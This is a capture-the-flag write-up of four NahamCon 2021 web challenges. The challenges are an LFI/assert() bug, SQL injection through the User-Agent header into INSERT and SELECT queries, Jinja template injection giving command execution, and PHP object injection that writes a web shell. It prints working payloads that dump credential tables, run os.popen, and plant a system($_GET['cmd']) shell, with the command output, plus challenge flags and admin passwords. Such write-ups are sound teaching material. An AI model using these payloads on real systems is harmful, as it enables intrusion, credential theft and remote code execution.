🌑

NahamCon CTF 2021 Write Up

(Web) Asserted [283 pts]

Asserted challenge is get flag using LFI and assert() vuln

Go into the challenge and u will see a simple blog and ABOUTS US/SCHEDULE/GALLERY/BLOG/CONTACTS function.

So once I went into ABOUT DS and looked at URL, I could see that the file was fetched using the page parameter. Here I thought that I could do LFI attack using PHP Wrapper.

When I read the index.php file using PHP Wrapper, I could see that it worked.

<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
$file = $page . ".php";

// Saving ourselves from any kind of hackings and all
assert("strpos('$file', '..') === false") or die("HACKING DETECTED! PLEASE STOP THE HACKING PRETTY PLEASE");

} else {
$file = "home.php";
}

include($file);

?>

If you look at the index.php code, you can see that it is using the assert() function. So you can use the assert() function vulnerability to read the flag with RCE.

flag{85a25711fa6e111ed54b86468a45b90c}

(Web) Bad Blog [469 pts]

Bad Blog challenge is get the admin account using the SQL Injection of insert statements.

Go into the challenge and u will see a login form.

When u register and login, u will see the posts and add post/Logged in as a function.

I created a post and was able to read it with /post/:title. I thought there would be an xss or ssti vuln here. but it didn’t happen at all.

I found something interesting in /profile. Whenever someone read my post, I creat a log using User-Agent. I thought I was save log using a database, So, I try SQL Injection using User-Agent in /post:title.

When i passed the value of User-Agent, I could see a db error :) I was able know using sqlite3 in server and using insert statements. So, I’ll try union SQL Injection attack of insert statements in sqlite 3!

User-Agent : a'), (5, 2, (select group_concat(sql) from sqlite_master))--
Output     : CREATE TABLE user ( id INTEGER NOT NULL, username VARCHAR(40), password VARCHAR(40), PRIMARY KEY (id), UNIQUE (username) ),CREATE TABLE post ( id INTEGER NOT NULL, title VARCHAR(40), author_id INTEGER, date VARCHAR(40), category VARCHAR(40), image VARCHAR(60), thumbnail VARCHAR(60), heading VARCHAR(200), content VARCHAR(10000), PRIMARY KEY (id), UNIQUE (title), FOREIGN KEY(author_id) REFERENCES user (id) ),CREATE TABLE visit ( id INTEGER NOT NULL, post_id INTEGER, user_id INTEGER, ua VARCHAR(100), PRIMARY KEY (id), FOREIGN KEY(post_id) REFERENCES post (id), FOREIGN KEY(user_id) REFERENCES user (id) )

User-Agent : a'),(5,2,(select group_concat(username) from user))--
Output     : a,admin

User-Agent : a'),(5,2,(select group_concat(password) from user))--
Output     : J3H8cqMNWxH68mTj,a

Using the payload above, I was able to get an admin account. Now, login as an administrator to get the flag.

flag{8b31eecb1831ed594fa27ef5b431fe34}

(Web) AgentTester [463 pts]

AgentTester challenge is get the admin account using SQL Injection and after login get the flag using SSTI.

Frist, I’ll analysis source code.

from flask_uwsgi_websocket import GeventWebSocket
import re
import subprocess

from backend.backend import *

ws = GeventWebSocket(app)

@app.route("/", methods=["GET"])
@login_required
def home():
    success = request.args.get("success", None)
    error = request.args.get("error", None)

    return render_template(
        "templates/index.html",
        user=g.user,
        success=success,
        error=error,
    )

@app.route("/debug", methods=["POST"])
def debug():
    sessionID = session.get("id", None)
    if sessionID == 1:
        code = request.form.get("code", "<h1>Safe Debug</h1>")
        return render_template_string(code)
    else:
        return "Not allowed."

@app.route("/profile/<int:user_id>", methods=["GET", "POST"])
@login_required
def profile(user_id):

    if g.user.id == user_id:
        user_now = User.query.get(user_id)
        if request.method == "POST":
            about = request.form.get("about", None)
            email = request.form.get("email", None)

            if email:
                user_now.email = email
            if about:
                user_now.about = about
            if email or about:
                db.session.commit()

    else:
        return redirect(
            url_for("home", error="You are not authorized to access this resource.")
        )

    return render_template(
        "templates/profile.html",
        user=user_now,
    )

@ws.route("/req")
def req(ws):
    with app.request_context(ws.environ):
        sessionID = session.get("id", None)
        if not sessionID:
            ws.send("You are not authorized to access this resource.")
            return

        uAgent = ws.receive().decode()
        if not uAgent:
            ws.send("There was an error in your message.")
            return

        try:
            query = db.session.execute(
                "SELECT userAgent, url FROM uAgents WHERE userAgent = '%s'" % uAgent
            ).fetchone()

            uAgent = query["userAgent"]
            url = query["url"]
        except Exception as e:
            ws.send(str(e))
            return

        if not uAgent or not url:
            ws.send("Query error.")
            return

        subprocess.Popen(["node", "browser/browser.js", url, uAgent])

        ws.send("Testing User-Agent: " + uAgent + " in url: " + url)
        return

Frist, You can see /debug. When sessionID is 1, you can see that the code parameter value is received and passed to the template. Here, because there is no verification of code parameter, a SSTI vulnerability occurs. But, because the sessionID must be 1. So, we need find out the admin account :(

Second, You can see /req. You can see that the value of User-Agent is received and put in the SQL query statement. Here, because there is no verification of User-Agent, a SQL Injection vulnerability occurs. :)

#! /bin/bash
service nginx start
sleep 3

export PORT='80'
export ADMIN_BOT_USER="admin"
export ADMIN_BOT_PASSWORD="<REDACTED>"

export CHALLENGE_NAME="AgentTester" && export CHALLENGE_FLAG="<REDACTED>"\
    && uwsgi --ini app.ini

Third, The flag exists in the environment variable CHALLENGE_FLAG.

Go into the challenge and u will see a login form. So, after register, login.

I was login and saw User-Agent input form.

You can see that an error occurs because single quotes are sent as the value of User-Agent.

' union select 'a', group_concat(sql) from sqlite_master --
' union select 'a', group_concat(username) from user --
' union select 'a', group_concat(password) from user --

admin account
username : admin
password : *)(@skdnaj238374834**__**=

Using the payload above, I was able to get an admin account. Now, you can login as an administrator and read the environment variable using the SSTI vuln.

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

Let’s use the payload above.


If you run the ls command using the payload above, you can see that it works.


Finally, when you read all the environment variables using the export command, you can see that there are flag in the environment variables.

flag{fb4a87cfa85cf8c5ab2effedb4ea7006}

(Web) Cereal and Milk [491 pts]

Cereal and Milk challenge is get the flag using simple php object injection

// index.php
<?php

include 'log.php';

class CerealAndMilk
{
    public $logs = "request-logs.txt";
    public $request = '';
    public $cereal = 'Captain Crunch';
    public $milk = '';
    

    public function processed_data($output)
    {
        echo "Deserilized data:<br> Coming soon.";
       # echo print_r($output);
        
    }

    public function cereal_and_milk()
    {
     echo $this->cereal . " is the best cereal btw.";   
    }

}

$input = $_POST['serdata'];
$output = unserialize($input);

$app = new CerealAndMilk;
$app -> cereal_and_milk($output);

?>

Looking at index.php, you can see that the log.php file is loaded and the value of the serdata parameter is retrieved and deserialized.

<?php

class log
{
    public function __destruct()
        {
            $request_log = fopen($this->logs , "a");
            fwrite($request_log, $this->request);
            fwrite($request_log, "\r\n");
            fclose($request_log);
        }
}
?>

If you look at log.php, you can see that a file is created using the values of logs and requests. And since logs are the file name and request is the contents of the file, you just need to upload the web shell using php object injection :)

O:3:"log":3:{s:4:"logs";s:9:"pocas.php";s:7:"request";s:29:"<?php system($_GET['cmd']);?>";s:4:"milk";s:5:"pocas"}

I wrote the payload as above.

http://challenge.nahamcon.com:32209/pocas.php?cmd=ls

total 36
drwxr-xr-x    1 apache   apache        4096 Mar 15 04:35 .
drwxr-xr-x    1 root     root          4096 Mar 12 00:42 ..
-rw-r--r--    1 apache   apache          45 Dec  2 21:45 index.html
-rw-r--r--    1 apache   apache        4577 Mar 12 00:41 index.php
-rw-r--r--    1 apache   apache         257 Mar 12 00:41 log.php
drwxr-xr-x    1 apache   apache        4096 Mar 12 00:42 ndwbr7pVKNCrhs-CerealnMilk
-rw-r--r--    1 apache   apache          31 Mar 15 04:35 pocas.php
http://challenge.nahamcon.com:32209/pocas.php?cmd=ls%20ndwbr7pVKNCrhs-CerealnMilk

flag.txt
http://challenge.nahamcon.com:32209/pocas.php?cmd=cat%20ndwbr7pVKNCrhs-CerealnMilk/flag.txt

flag{70385676892a2a813a666961ddd6f899}
flag{70385676892a2a813a666961ddd6f899}

, , — Mar 14, 2021